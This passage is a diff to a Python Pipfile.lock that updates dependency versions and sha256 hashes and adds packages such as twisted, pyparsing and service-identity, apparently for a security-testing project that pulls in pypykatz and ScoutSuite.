"sha256:9e735cee3a5c1961f09e3f3ba6dc498198c2d70b473d98d0d1504b8d1e7a3d61" ], - "markers": "python_version >= '3.6'", - "version": "==3.0.0" + "markers": "python_version >= '3.7'", + "version": "==3.1.0" }, "prompt-toolkit": { "hashes": [ - "sha256:449f333dd120bd01f5d296a8ce1452114ba3a71fae7288d2f0ae2c918764fa72", - "sha256:48d85cdca8b6c4f16480c7ce03fd193666b62b0a21667ca56b4bb5ad679d1170" + "sha256:1bb05628c7d87b645974a1bad3f17612be0c29fa39af9f7688030163f680bad6", + "sha256:e56f2ff799bacecd3e88165b1e2f5ebf9bcd59e80e06d395fa0cc4b8bd7bb506" ], "markers": "python_full_version >= '3.6.2'", - "version": "==3.0.22" + "version": "==3.0.24" }, "psutil": { "hashes": [ - "sha256:0066a82f7b1b37d334e68697faba68e5ad5e858279fd6351c8ca6024e8d6ba64", - "sha256:02b8292609b1f7fcb34173b25e48d0da8667bc85f81d7476584d889c6e0f2131", - "sha256:0ae6f386d8d297177fd288be6e8d1afc05966878704dad9847719650e44fc49c", - "sha256:0c9ccb99ab76025f2f0bbecf341d4656e9c1351db8cc8a03ccd62e318ab4b5c6", - "sha256:0dd4465a039d343925cdc29023bb6960ccf4e74a65ad53e768403746a9207023", - "sha256:12d844996d6c2b1d3881cfa6fa201fd635971869a9da945cf6756105af73d2df", - "sha256:1bff0d07e76114ec24ee32e7f7f8d0c4b0514b3fae93e3d2aaafd65d22502394", - "sha256:245b5509968ac0bd179287d91210cd3f37add77dad385ef238b275bad35fa1c4", - "sha256:28ff7c95293ae74bf1ca1a79e8805fcde005c18a122ca983abf676ea3466362b", - "sha256:36b3b6c9e2a34b7d7fbae330a85bf72c30b1c827a4366a07443fc4b6270449e2", - "sha256:52de075468cd394ac98c66f9ca33b2f54ae1d9bff1ef6b67a212ee8f639ec06d", - "sha256:5da29e394bdedd9144c7331192e20c1f79283fb03b06e6abd3a8ae45ffecee65", - "sha256:61f05864b42fedc0771d6d8e49c35f07efd209ade09a5afe6a5059e7bb7bf83d", - "sha256:6223d07a1ae93f86451d0198a0c361032c4c93ebd4bf6d25e2fb3edfad9571ef", - "sha256:6323d5d845c2785efb20aded4726636546b26d3b577aded22492908f7c1bdda7", - "sha256:6ffe81843131ee0ffa02c317186ed1e759a145267d54fdef1bc4ea5f5931ab60", - "sha256:74f2d0be88db96ada78756cb3a3e1b107ce8ab79f65aa885f76d7664e56928f6", - "sha256:74fb2557d1430fff18ff0d72613c5ca30c45cdbfcddd6a5773e9fc1fe9364be8", - "sha256:90d4091c2d30ddd0a03e0b97e6a33a48628469b99585e2ad6bf21f17423b112b", - "sha256:90f31c34d25b1b3ed6c40cdd34ff122b1887a825297c017e4cbd6796dd8b672d", - "sha256:99de3e8739258b3c3e8669cb9757c9a861b2a25ad0955f8e53ac662d66de61ac", - "sha256:c6a5fd10ce6b6344e616cf01cc5b849fa8103fbb5ba507b6b2dee4c11e84c935", - "sha256:ce8b867423291cb65cfc6d9c4955ee9bfc1e21fe03bb50e177f2b957f1c2469d", - "sha256:d225cd8319aa1d3c85bf195c4e07d17d3cd68636b8fc97e6cf198f782f99af28", - "sha256:ea313bb02e5e25224e518e4352af4bf5e062755160f77e4b1767dd5ccb65f876", - "sha256:ea372bcc129394485824ae3e3ddabe67dc0b118d262c568b4d2602a7070afdb0", - "sha256:f4634b033faf0d968bb9220dd1c793b897ab7f1189956e1aa9eae752527127d3", - "sha256:fcc01e900c1d7bee2a37e5d6e4f9194760a93597c97fee89c4ae51701de03563" + "sha256:072664401ae6e7c1bfb878c65d7282d4b4391f1bc9a56d5e03b5a490403271b5", + "sha256:1070a9b287846a21a5d572d6dddd369517510b68710fca56b0e9e02fd24bed9a", + "sha256:1d7b433519b9a38192dfda962dd8f44446668c009833e1429a52424624f408b4", + "sha256:3151a58f0fbd8942ba94f7c31c7e6b310d2989f4da74fcbf28b934374e9bf841", + "sha256:32acf55cb9a8cbfb29167cd005951df81b567099295291bcfd1027365b36591d", + "sha256:3611e87eea393f779a35b192b46a164b1d01167c9d323dda9b1e527ea69d697d", + "sha256:3d00a664e31921009a84367266b35ba0aac04a2a6cad09c550a89041034d19a0", + "sha256:4e2fb92e3aeae3ec3b7b66c528981fd327fb93fd906a77215200404444ec1845", + "sha256:539e429da49c5d27d5a58e3563886057f8fc3868a5547b4f1876d9c0f007bccf", + "sha256:55ce319452e3d139e25d6c3f85a1acf12d1607ddedea5e35fb47a552c051161b", + "sha256:58c7d923dc209225600aec73aa2c4ae8ea33b1ab31bc11ef8a5933b027476f07", + "sha256:7336292a13a80eb93c21f36bde4328aa748a04b68c13d01dfddd67fc13fd0618", + "sha256:742c34fff804f34f62659279ed5c5b723bb0195e9d7bd9907591de9f8f6558e2", + "sha256:7641300de73e4909e5d148e90cc3142fb890079e1525a840cf0dfd39195239fd", + "sha256:76cebf84aac1d6da5b63df11fe0d377b46b7b500d892284068bacccf12f20666", + "sha256:7779be4025c540d1d65a2de3f30caeacc49ae7a2152108adeaf42c7534a115ce", + "sha256:7d190ee2eaef7831163f254dc58f6d2e2a22e27382b936aab51c835fc080c3d3", + "sha256:8293942e4ce0c5689821f65ce6522ce4786d02af57f13c0195b40e1edb1db61d", + "sha256:869842dbd66bb80c3217158e629d6fceaecc3a3166d3d1faee515b05dd26ca25", + "sha256:90a58b9fcae2dbfe4ba852b57bd4a1dded6b990a33d6428c7614b7d48eccb492", + "sha256:9b51917c1af3fa35a3f2dabd7ba96a2a4f19df3dec911da73875e1edaf22a40b", + "sha256:b2237f35c4bbae932ee98902a08050a27821f8f6dfa880a47195e5993af4702d", + "sha256:c3400cae15bdb449d518545cbd5b649117de54e3596ded84aacabfbb3297ead2", + "sha256:c51f1af02334e4b516ec221ee26b8fdf105032418ca5a5ab9737e8c87dafe203", + "sha256:cb8d10461c1ceee0c25a64f2dd54872b70b89c26419e147a05a10b753ad36ec2", + "sha256:d62a2796e08dd024b8179bd441cb714e0f81226c352c802fca0fd3f89eeacd94", + "sha256:df2c8bd48fb83a8408c8390b143c6a6fa10cb1a674ca664954de193fdcab36a9", + "sha256:e5c783d0b1ad6ca8a5d3e7b680468c9c926b804be83a3a8e95141b05c39c9f64", + "sha256:e9805fed4f2a81de98ae5fe38b75a74c6e6ad2df8a5c479594c7629a1fe35f56", + "sha256:ea42d747c5f71b5ccaa6897b216a7dadb9f52c72a0fe2b872ef7d3e1eacf3ba3", + "sha256:ef216cc9feb60634bda2f341a9559ac594e2eeaadd0ba187a4c2eb5b5d40b91c", + "sha256:ff0d41f8b3e9ebb6b6110057e40019a432e96aae2008951121ba4e56040b84f3" ], "index": "pypi", - "version": "==5.8.0" + "version": "==5.9.0" }, "pyasn1": { "hashes": [ @@ -630,88 +696,107 @@ ], "version": "==0.4.8" }, + "pyasn1-modules": { + "hashes": [ + "sha256:0845a5582f6a02bb3e1bde9ecfc4bfcae6ec3210dd270522fee602365430c3f8", + "sha256:0fe1b68d1e486a1ed5473f1302bd991c1611d319bba158e98b106ff86e1d7199", + "sha256:15b7c67fabc7fc240d87fb9aabf999cf82311a6d6fb2c70d00d3d0604878c811", + "sha256:426edb7a5e8879f1ec54a1864f16b882c2837bfd06eee62f2c982315ee2473ed", + "sha256:65cebbaffc913f4fe9e4808735c95ea22d7a7775646ab690518c056784bc21b4", + "sha256:905f84c712230b2c592c19470d3ca8d552de726050d1d1716282a1f6146be65e", + "sha256:a50b808ffeb97cb3601dd25981f6b016cbb3d31fbf57a8b8a87428e6158d0c74", + "sha256:a99324196732f53093a84c4369c996713eb8c89d360a496b599fb1a9c47fc3eb", + "sha256:b80486a6c77252ea3a3e9b1e360bc9cf28eaac41263d173c032581ad2f20fe45", + "sha256:c29a5e5cc7a3f05926aff34e097e84f8589cd790ce0ed41b67aed6857b26aafd", + "sha256:cbac4bc38d117f2a49aeedec4407d23e8866ea4ac27ff2cf7fb3e5b570df19e0", + "sha256:f39edd8c4ecaa4556e989147ebf219227e2cd2e8a43c7e7fcb1f1c18c5fd6a3d", + "sha256:fe0644d9ab041506b62782e92b06b8c68cca799e1a9636ec398675459e031405" + ], + "version": "==0.2.8" + }, "pycparser": { "hashes": [ "sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9", "sha256:e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206" ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==2.21" }, "pycryptodome": { "hashes": [ - "sha256:014c758af7fa38cab85b357a496b76f4fc9dda1f731eb28358d66fef7ad4a3e1", - "sha256:06162fcfed2f9deee8383fd59eaeabc7b7ffc3af50d3fad4000032deb8f700b0", - "sha256:0ca7a6b4fc1f9fafe990b95c8cda89099797e2cfbf40e55607f2f2f5a3355dcb", - "sha256:2a4bcc8a9977fee0979079cd33a9e9f0d3ddba5660d35ffe874cf84f1dd399d2", - "sha256:3c7ed5b07274535979c730daf5817db5e983ea80b04c22579eee8da4ca3ae4f8", - "sha256:4169ed515742425ff21e4bd3fabbb6994ffb64434472fb72230019bdfa36b939", - "sha256:428096bbf7a77e207f418dfd4d7c284df8ade81d2dc80f010e92753a3e406ad0", - "sha256:4ce6b09547bf2c7cede3a017f79502eaed3e819c13cdb3cb357aea1b004e4cc6", - "sha256:53989477044be41fa4a63da09d5038c2a34b2f4554cfea2e3933b17186ee9e19", - "sha256:621a90147a5e255fdc2a0fec2d56626b76b5d72ea9e60164c9a5a8976d45b0c9", - "sha256:6db1f9fa1f52226621905f004278ce7bd90c8f5363ffd5d7ab3755363d98549a", - "sha256:6eda8a3157c91ba60b26a07bedd6c44ab8bda6cd79b6b5ea9744ba62c39b7b1e", - "sha256:75e78360d1dd6d02eb288fd8275bb4d147d6e3f5337935c096d11dba1fa84748", - "sha256:7ff701fc283412e651eaab4319b3cd4eaa0827e94569cd37ee9075d5c05fe655", - "sha256:8f3a60926be78422e662b0d0b18351b426ce27657101c8a50bad80300de6a701", - "sha256:a843350d08c3d22f6c09c2f17f020d8dcfa59496165d7425a3fba0045543dda7", - "sha256:ae29fcd56152f417bfba50a36a56a7a5f9fb74ff80bab98704cac704de6568ab", - "sha256:ae31cb874f6f0cedbed457c6374e7e54d7ed45c1a4e11a65a9c80968da90a650", - "sha256:b33c9b3d1327d821e28e9cc3a6512c14f8b17570ddb4cfb9a52247ed0fcc5d8b", - "sha256:b59bf823cfafde8ef1105d8984f26d1694dff165adb7198b12e3e068d7999b15", - "sha256:bc3c61ff92efdcc14af4a7b81da71d849c9acee51d8fd8ac9841a7620140d6c6", - "sha256:ce81b9c6aaa0f920e2ab05eb2b9f4ccd102e3016b2f37125593b16a83a4b0cc2", - "sha256:d7e5f6f692421e5219aa3b545eb0cffd832cd589a4b9dcd4a5eb4260e2c0d68a", - "sha256:da796e9221dda61a0019d01742337eb8a322de8598b678a4344ca0a436380315", - "sha256:ead516e03dfe062aefeafe4a29445a6449b0fc43bc8cb30194b2754917a63798", - "sha256:ed45ef92d21db33685b789de2c015e9d9a18a74760a8df1fc152faee88cdf741", - "sha256:f19edd42368e9057c39492947bb99570dc927123e210008f2af7cf9b505c6892", - "sha256:f9bad2220b80b4ed74f089db012ab5ab5419143a33fad6c8aedcc2a9341eac70", - "sha256:fce7e22d96030b35345637c563246c24d4513bd3b413e1c40293114837ab8912", - "sha256:ffd0cac13ff41f2d15ed39dc6ba1d2ad88dd2905d656c33d8235852f5d6151fd" + "sha256:008ef2c631f112cd5a58736e0b29f4a28b4bb853e68878689f8b476fd56e0691", + "sha256:073dedf0f9c490ae22ca081b86357646ac9b76f3e2bd89119d137fc697a9e3b6", + "sha256:0896d5d15ffe584d46cb9b69a75cf14a2bc8f6daf635b7bf16c1b041342a44b1", + "sha256:1fb7a6f222072412f320b9e48d3ce981920efbfce37b06d028ec9bd94093b37f", + "sha256:4f1b594d0cf35bd12ec4244df1155a7f565bf6e6245976ac36174c1564688c90", + "sha256:51ebe9624ad0a0b4da1aaaa2d43aabadf8537737fd494cee0ffa37cd6326de02", + "sha256:681ac47c538c64305d710eaed2bb49532f62b3f4c93aa7c423c520df981392e5", + "sha256:702446a012fd9337b9327d168bb0c7dc714eb93ad361f6f61af9ca8305a301f1", + "sha256:720fafdf3e5c5de93039d8308f765cc60b8e9e7e852ad7135aa65dd89238191f", + "sha256:72de8c4d71e6b11d54528bb924447fa4fdabcbb3d76cc0e7f61d3b6075def6b3", + "sha256:765b8b16bc1fd699e183dde642c7f2653b8f3c9c1a50051139908e9683f97732", + "sha256:7a8b0e526ff239b4f4c61dd6898e2474d609843ffc437267f3a27ddff626e6f6", + "sha256:7b3478a187d897f003b2aa1793bcc59463e8d57a42e2aafbcbbe9cd47ec46863", + "sha256:857c16bffd938254e3a834cd6b2a755ed24e1a953b1a86e33da136d3e4c16a6f", + "sha256:88d6d54e83cf9bbd665ce1e7b9079983ee2d97a05f42e0569ff00a70f1dd8b1e", + "sha256:95bacf9ff7d1b90bba537d3f5f6c834efe6bfbb1a0195cb3573f29e6716ef08d", + "sha256:9c8e0e6c5e982699801b20fa74f43c19aa080d2b53a39f3c132d35958e153bd4", + "sha256:9ea70f6c3f6566159e3798e4593a4a8016994a0080ac29a45200615b45091a1b", + "sha256:b3af53dddf848afb38b3ac2bae7159ddad1feb9bac14aa3acec6ef1797b82f8d", + "sha256:ca6db61335d07220de0b665bfee7b8e9615b2dfc67a54016db4826dac34c2dd2", + "sha256:cb9453c981554984c6f5c5ce7682d7286e65e2173d7416114c3593a977a01bf5", + "sha256:d92a5eddffb0ad39f582f07c1de26e9daf6880e3e782a94bb7ebaf939567f8bf", + "sha256:deede160bdf87ddb71f0a1314ad5a267b1a960be314ea7dc6b7ad86da6da89a3", + "sha256:e3affa03c49cce7b0a9501cc7f608d4f8e61fb2522b276d599ac049b5955576d", + "sha256:e420cdfca73f80fe15f79bb34756959945231a052440813e5fce531e6e96331a", + "sha256:e468724173df02f9d83f3fea830bf0d04aa291b5add22b4a78e01c97aab04873", + "sha256:e5d72be02b17e6bd7919555811264403468d1d052fa67c946e402257c3c29a27", + "sha256:eec02d9199af4b1ccfe1f9c587691a07a1fa39d949d2c1dc69d079ab9af8212f", + "sha256:f5457e44d3f26d9946091e92b28f3e970a56538b96c87b4b155a84e32a40b7b5", + "sha256:f7aad304575d075faf2806977b726b67da7ba294adc97d878f92a062e357a56a" ], "index": "pypi", - "version": "==3.11.0" + "version": "==3.13.0" }, "pycryptodomex": { "hashes": [ - "sha256:0398366656bb55ebdb1d1d493a7175fc48ade449283086db254ac44c7d318d6d", - "sha256:1580db5878b1d16a233550829f7c189c43005f7aa818f2f95c7dddbd6a7163cc", - "sha256:15d25c532de744648f0976c56bd10d07b2a44b7eb2a6261ffe2497980b1102d8", - "sha256:1d4d13c59d2cfbc0863c725f5812d66ff0d6836ba738ef26a52e1291056a1c7c", - "sha256:1dd4271d8d022216533c3547f071662b44d703fd5dbb632c4b5e77b3ee47567f", - "sha256:207e53bdbf3a26de6e9dcf3ebaf67ba70a61f733f84c464eca55d278211c1b71", - "sha256:252ac9c1e1ae1c256a75539e234be3096f2d100b9f4bae42ef88067787b9b249", - "sha256:2b586d13ef07fa6197b6348a48dbbe9525f4f496205de14edfa4e91d99e69672", - "sha256:4c7c6418a3c08b2ebfc2cf50ce52de267618063b533083a2c73b40ec54a1b6f5", - "sha256:5baf690d27f39f2ba22f06e8e32c5f1972573ca65db6bdbb8b2c7177a0112dab", - "sha256:64a83ab6f54496ab968a6f21a41a620afe0a742573d609fd03dcab7210645153", - "sha256:6a76d7821ae43df8a0e814cca32114875916b9fc2158603b364853de37eb9002", - "sha256:7abfd84a362e4411f7c5f5758c18cbf377a2a2be64b9232e78544d75640c677e", - "sha256:7cc5ee80b2d5ee8f59a761741cfb916a068c97cac5e700c8ce01e1927616aa2f", - "sha256:91662b27f5aa8a6d2ad63be9a7d1a403e07bf3c2c5b265a7cc5cbadf6f988e06", - "sha256:919cadcedad552e78349d1626115cfd246fc03ad469a4a62c91a12204f0f0d85", - "sha256:9eace1e5420abc4f9e76de01e49caca349b7c80bda9c1643193e23a06c2a332c", - "sha256:adc25aa8cfc537373dd46ae97863f16fd955edee14bf54d3eb52bde4e4ac8c7b", - "sha256:bf2ea67eaa1fff0aecef6da881144f0f91e314b4123491f9a4fa8df0598e48fe", - "sha256:c10b2f6bcbaa9aa51fe08207654100074786d423b03482c0cbe44406ca92d146", - "sha256:c391ec5c423a374a36b90f7c8805fdf51a0410a2b5be9cebd8990e0021cb6da4", - "sha256:c43ddcff251e8b427b3e414b026636617276e008a9d78a44a9195d4bdfcaa0fe", - "sha256:c825611a951baad63faeb9ef1517ef96a20202d6029ae2485b729152cc703fab", - "sha256:c91772cf6808cc2d80279e80b491c48cb688797b6d914ff624ca95d855c24ee5", - "sha256:cf30b5e03d974874185b989839c396d799f6e2d4b4d5b2d8bd3ba464eb3cc33f", - "sha256:ef25d682d0d9ab25c5022a298b5cba9084c7b148a3e71846df2c67ea664eacc7", - "sha256:f35ccfa44a1dd267e392cd76d8525cfcfabee61dd070e15ad2119c54c0c31ddf", - "sha256:fbe09e3ae95f47c7551a24781d2e348974cde4a0b33bc3b1566f6216479db2b1", - "sha256:fe2b8c464ba335e71aed74f830bf2b2881913f8905d166f9c0fe06ca44a1cb5e", - "sha256:ff0826f3886e85708a0e8ef7ec47020723b998cfed6ae47962d915fcb89ec780" + "sha256:00e37d478c0f040639ab41a9d5280291ad2b3b5f25b9aad5baa1d5ecb578a3f6", + "sha256:04a38a7dc484f5e3152a69e4eab89d9340c2ad3b7c4a27d2ee256e5fb878c469", + "sha256:05e0e3b78b7ccc0b7c5f88596d51fdc8533adb91070b93e18cec12ca3b43deb3", + "sha256:0ec86fca2114e8c58fe6bfc7e04ee91568a813139dcf4334819aa44876764bcf", + "sha256:182962b3612c0d12748fa770f1ef0556ba8ba2c442834450e08acb31d9e6d2ed", + "sha256:2f2bcee2ef59597bfcb755eef2c98294094c1c9b64e9b9195cc9e71be83adb92", + "sha256:2f7db8d85294c1123e700097af407425fd4c9e6c58b688f391de7053c6a60317", + "sha256:3b7656189c259bb2b838559f0a11b533d4d18409ab6d9119c00bae436c3d3e34", + "sha256:5a2014598ceb19c34f14815a26536e5cc24167ea4d402f0aec2a52b18960c668", + "sha256:63443230247837dd03c5d4028cae5cb2e6793a9ae110e321798bee48a04ff3e9", + "sha256:68fb861b41a889c2efdf2795b0d46aa05d4748543bc4e0bca5886c929c7cbdef", + "sha256:6b3c06e6d235f475395a7e150f2e562a3e9d749fb40c6d81240596f73809346c", + "sha256:6d50723984ba802904618ef5bfe257a0f9644e76821d323f79f27be5adb9ece7", + "sha256:7fb188c9a0f69d4f7b607780641ef7aec7f02a8dad689512b17bdf04c96ce6e3", + "sha256:7fb9d1ab6a10cfc8c8c7e11f004e01c8a1beff5fd4118370d95110735cc23117", + "sha256:80eedc23c4c4d3655c6a7d315a01f0e9d460c7070c5c3af4952937b4f2c0da6f", + "sha256:9fa76261100b450e5aca2990ba982e5294ba383f653da041a71b4ac1cbaed1ff", + "sha256:b11331510cfd08ec4416f37dc8f072541d7b7240ba924c71288f7218aad36bdf", + "sha256:b4240991748ae0f57a0120b8d905b2d9f835fee02968fc11faec929ef6915ee6", + "sha256:b7b059517d84c57f25c6fd3b2e03a1b2945df2e585b96109bcd11e56f6c9e610", + "sha256:b975ce778ea2c65f399ab889a661e118bb68b85db47d93e0442eb1ba1f554794", + "sha256:c87f62de9e167031ad4179efb1fda4012bb6f7363472a61254e4426bda6bcb64", + "sha256:ccd301d2e71d243b0fad8c4642116c538d7d405d35b6026cf4dcee463a667a2e", + "sha256:dce2bfd0f285c3fcff89e4239c55f5fbe664ff435ee45abfc154aac0f222ab14", + "sha256:dfb8bcd45e504e1c26f0bfc404f3edd08f8c8057dfe04fbf6159adc8694ff97a", + "sha256:e1900d7f16a03b869be3572e7664757c14316329a4d79ecee5a0083fad8c81b0", + "sha256:e2ddfbcb2c4c7cb8f79db49e284280be468699c701b92d30fd1e46a786b39f5b", + "sha256:eb4eea028a7ad28458abf8b98ae14af2fd9baeb327a0adb6af05a488e4d9e9a1", + "sha256:f3a29bb51e5f9b46004b5be16bcbe4e1b2d2754cbe201e1a0b142c307bdf4c73", + "sha256:f553abcb3572242fed87e308a6b91a9bc5a74b801b5d093969391b0500be718b" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==3.11.0" + "version": "==3.13.0" }, "pyinstaller": { "git": "git://github.com/guardicore/pyinstaller", - "ref": "7c050ea0d6ca1e453045632ec57cf1afe79e15c5" + "ref": "913259a5cd2baece06b0eed3618eb75b1bc7fad6" }, "pyinstaller-hooks-contrib": { "hashes": [ @@ -758,27 +843,19 @@ }, "pynacl": { "hashes": [ - "sha256:06cbb4d9b2c4bd3c8dc0d267416aaed79906e7b33f114ddbf0911969794b1cc4", - "sha256:11335f09060af52c97137d4ac54285bcb7df0cef29014a1a4efe64ac065434c4", - "sha256:2fe0fc5a2480361dcaf4e6e7cea00e078fcda07ba45f811b167e3f99e8cff574", - "sha256:30f9b96db44e09b3304f9ea95079b1b7316b2b4f3744fe3aaecccd95d547063d", - "sha256:4e10569f8cbed81cb7526ae137049759d2a8d57726d52c1a000a3ce366779634", - "sha256:511d269ee845037b95c9781aa702f90ccc36036f95d0f31373a6a79bd8242e25", - "sha256:537a7ccbea22905a0ab36ea58577b39d1fa9b1884869d173b5cf111f006f689f", - "sha256:54e9a2c849c742006516ad56a88f5c74bf2ce92c9f67435187c3c5953b346505", - "sha256:757250ddb3bff1eecd7e41e65f7f833a8405fede0194319f87899690624f2122", - "sha256:7757ae33dae81c300487591c68790dfb5145c7d03324000433d9a2c141f82af7", - "sha256:7c6092102219f59ff29788860ccb021e80fffd953920c4a8653889c029b2d420", - "sha256:8122ba5f2a2169ca5da936b2e5a511740ffb73979381b4229d9188f6dcb22f1f", - "sha256:9c4a7ea4fb81536c1b1f5cc44d54a296f96ae78c1ebd2311bd0b60be45a48d96", - "sha256:c914f78da4953b33d4685e3cdc7ce63401247a21425c16a39760e282075ac4a6", - "sha256:cd401ccbc2a249a47a3a1724c2918fcd04be1f7b54eb2a5a71ff915db0ac51c6", - "sha256:d452a6746f0a7e11121e64625109bc4468fc3100452817001dbe018bb8b08514", - "sha256:ea6841bc3a76fa4942ce00f3bda7d436fda21e2d91602b9e21b7ca9ecab8f3ff", - "sha256:f8851ab9041756003119368c1e6cd0b9c631f46d686b3904b18c0139f4419f80" + "sha256:06b8f6fa7f5de8d5d2f7573fe8c863c051225a27b61e6860fd047b1775807858", + "sha256:0c84947a22519e013607c9be43706dd42513f9e6ae5d39d3613ca1e142fba44d", + "sha256:20f42270d27e1b6a29f54032090b972d97f0a1b0948cc52392041ef7831fee93", + "sha256:401002a4aaa07c9414132aaed7f6836ff98f59277a234704ff66878c2ee4a0d1", + "sha256:52cb72a79269189d4e0dc537556f4740f7f0a9ec41c1322598799b0bdad4ef92", + "sha256:61f642bf2378713e2c2e1de73444a3778e5f0a38be6fee0fe532fe30060282ff", + "sha256:8ac7448f09ab85811607bdd21ec2464495ac8b7c66d146bf545b0f08fb9220ba", + "sha256:a36d4a9dda1f19ce6e03c9a784a2921a4b726b02e1c736600ca9c22029474394", + "sha256:a422368fc821589c228f4c49438a368831cb5bbc0eab5ebe1d7fac9dded6567b", + "sha256:e46dae94e34b085175f8abb3b0aaa7da40767865ac82c928eeb9e57e1ea8a543" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==1.4.0" + "markers": "python_version >= '3.6'", + "version": "==1.5.0" }, "pyopenssl": { "hashes": [ @@ -788,13 +865,21 @@ "index": "pypi", "version": "==19.0.0" }, + "pyparsing": { + "hashes": [ + "sha256:18ee9022775d270c55187733956460083db60b37d0d0fb357445f3094eed3eea", + "sha256:a6c06a88f252e6c322f65faf8f418b16213b51bdfaece0524c1c1bc30c63c484" + ], + "markers": "python_version >= '3.6'", + "version": "==3.0.7" + }, "pypsrp": { "hashes": [ - "sha256:12726e9700dc38a9260b9e24795aa81f106d2849eefca86fca9293beddb83418", - "sha256:21e96fd30f795fb59c7102f795e3706e188cae45df79d5782357b2fd273e4e6c" + "sha256:c0912096858ff8c53a3cf22cc46c3ce20e6ec5e2deade342088e87a81dbadac8", + "sha256:d7144ad7c798a4dcded20a71c712d63eb4bfb32debe62f3a98f01481384a5558" ], "index": "pypi", - "version": "==0.6.1" + "version": "==0.7.0" }, "pypykatz": { "hashes": [ @@ -855,27 +940,29 @@ }, "pywin32": { "hashes": [ - "sha256:2393c1a40dc4497fd6161b76801b8acd727c5610167762b7c3e9fd058ef4a6ab", - "sha256:251b7a9367355ccd1a4cd69cd8dd24bd57b29ad83edb2957cfa30f7ed9941efa", - "sha256:48dd4e348f1ee9538dd4440bf201ea8c110ea6d9f3a5010d79452e9fa80480d9", - "sha256:496df89f10c054c9285cc99f9d509e243f4e14ec8dfc6d78c9f0bf147a893ab1", - "sha256:543552e66936378bd2d673c5a0a3d9903dba0b0a87235ef0c584f058ceef5872", - "sha256:79cf7e6ddaaf1cd47a9e50cc74b5d770801a9db6594464137b1b86aa91edafcc", - "sha256:af5aea18167a31efcacc9f98a2ca932c6b6a6d91ebe31f007509e293dea12580", - "sha256:d3761ab4e8c5c2dbc156e2c9ccf38dd51f936dc77e58deb940ffbc4b82a30528", - "sha256:e372e477d938a49266136bff78279ed14445e00718b6c75543334351bf535259", - "sha256:fe21c2fb332d03dac29de070f191bdbf14095167f8f2165fdc57db59b1ecc006" + "sha256:2a09632916b6bb231ba49983fe989f2f625cea237219530e81a69239cd0c4559", + "sha256:51cb52c5ec6709f96c3f26e7795b0bf169ee0d8395b2c1d7eb2c029a5008ed51", + "sha256:5f9ec054f5a46a0f4dfd72af2ce1372f3d5a6e4052af20b858aa7df2df7d355b", + "sha256:6fed4af057039f309263fd3285d7b8042d41507343cd5fa781d98fcc5b90e8bb", + "sha256:793bf74fce164bcffd9d57bb13c2c15d56e43c9542a7b9687b4fccf8f8a41aba", + "sha256:79cbb862c11b9af19bcb682891c1b91942ec2ff7de8151e2aea2e175899cda34", + "sha256:7d3271c98434617a11921c5ccf74615794d97b079e22ed7773790822735cc352", + "sha256:aad484d52ec58008ca36bd4ad14a71d7dd0a99db1a4ca71072213f63bf49c7d9", + "sha256:b1675d82bcf6dbc96363fca747bac8bff6f6e4a447a4287ac652aa4b9adc796e", + "sha256:c268040769b48a13367221fced6d4232ed52f044ffafeda247bd9d2c6bdc29ca", + "sha256:d9b5d87ca944eb3aa4cd45516203ead4b37ab06b8b777c54aedc35975dec0dee", + "sha256:fcf44032f5b14fcda86028cdf49b6ebdaea091230eb0a757282aa656e4732439" ], "markers": "python_version < '3.10' and sys_platform == 'win32' and implementation_name == 'cpython'", - "version": "==302" + "version": "==303" }, "requests": { "hashes": [ - "sha256:6c1246513ecd5ecd4528a0906f910e8f0f9c6b8ec72030dc9fd154dc1a6efd24", - "sha256:b8aa58f8cf793ffd8782d3d8cb19e66ef36f7aba4353eec859e74678b01b07a7" + "sha256:68d7c56fd5a8999887728ef304a6d12edc7be74f1cfa47714fc8b414525c9a61", + "sha256:f22fa1e554c9ddfd16e6e41ac79759e17be9e492b3587efa038054674760e72d" ], "index": "pypi", - "version": "==2.26.0" + "version": "==2.27.1" }, "s3transfer": { "hashes": [ @@ -889,6 +976,13 @@ "git": "git://github.com/guardicode/ScoutSuite", "ref": "eac33ac5b0a84e4a2e29682cf3568271eb595003" }, + "service-identity": { + "hashes": [ + "sha256:6e6c6086ca271dc11b033d17c3a8bea9f24ebff920c587da090afc9519419d34", + "sha256:f0b0caac3d40627c3c04d7a51b6e06721857a0e10a8775f2d1d7e72901b3a7db" + ], + "version": "==21.1.0" + }, "six": { "hashes": [ "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", @@ -905,11 +999,11 @@ }, "tempora": { "hashes": [ - "sha256:746ed6fd3529883d81a811fff41b9910ea57067fa84641aa6ecbefffb8322f6d", - "sha256:fd6cafd66b01390d53a760349cf0b3123844ec6ae3d1043d7190473ea9459138" + "sha256:8d743059a4ea496d925f35480c6d206a7160cacebcd6a31e147fb495dcb732af", + "sha256:aa21dd1956e29559ecb2f2f2e14fcdb950085222fbbf86e6c946b5e1a8c36b26" ], - "markers": "python_version >= '3.6'", - "version": "==4.1.2" + "markers": "python_version >= '3.7'", + "version": "==5.0.0" }, "tqdm": { "hashes": [ @@ -919,13 +1013,42 @@ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==4.62.3" }, + "twisted": { + "extras": [ + "tls" + ], + "hashes": [ + "sha256:13c1d1d2421ae556d91e81e66cf0d4f4e4e1e4a36a0486933bee4305c6a4fb9b", + "sha256:2cd652542463277378b0d349f47c62f20d9306e57d1247baabd6d1d38a109006" + ], + "markers": "python_full_version >= '3.6.7'", + "version": "==21.7.0" + }, + "twisted-iocpsupport": { + "hashes": [ + "sha256:306becd6e22ab6e8e4f36b6bdafd9c92e867c98a5ce517b27fdd27760ee7ae41", + "sha256:3c61742cb0bc6c1ac117a7e5f422c129832f0c295af49e01d8a6066df8cfc04d", + "sha256:72068b206ee809c9c596b57b5287259ea41ddb4774d86725b19f35bf56aa32a9", + "sha256:7d972cfa8439bdcb35a7be78b7ef86d73b34b808c74be56dfa785c8a93b851bf", + "sha256:81b3abe3527b367da0220482820cb12a16c661672b7bcfcde328902890d63323", + "sha256:851b3735ca7e8102e661872390e3bce88f8901bece95c25a0c8bb9ecb8a23d32", + "sha256:985c06a33f5c0dae92c71a036d1ea63872ee86a21dd9b01e1f287486f15524b4", + 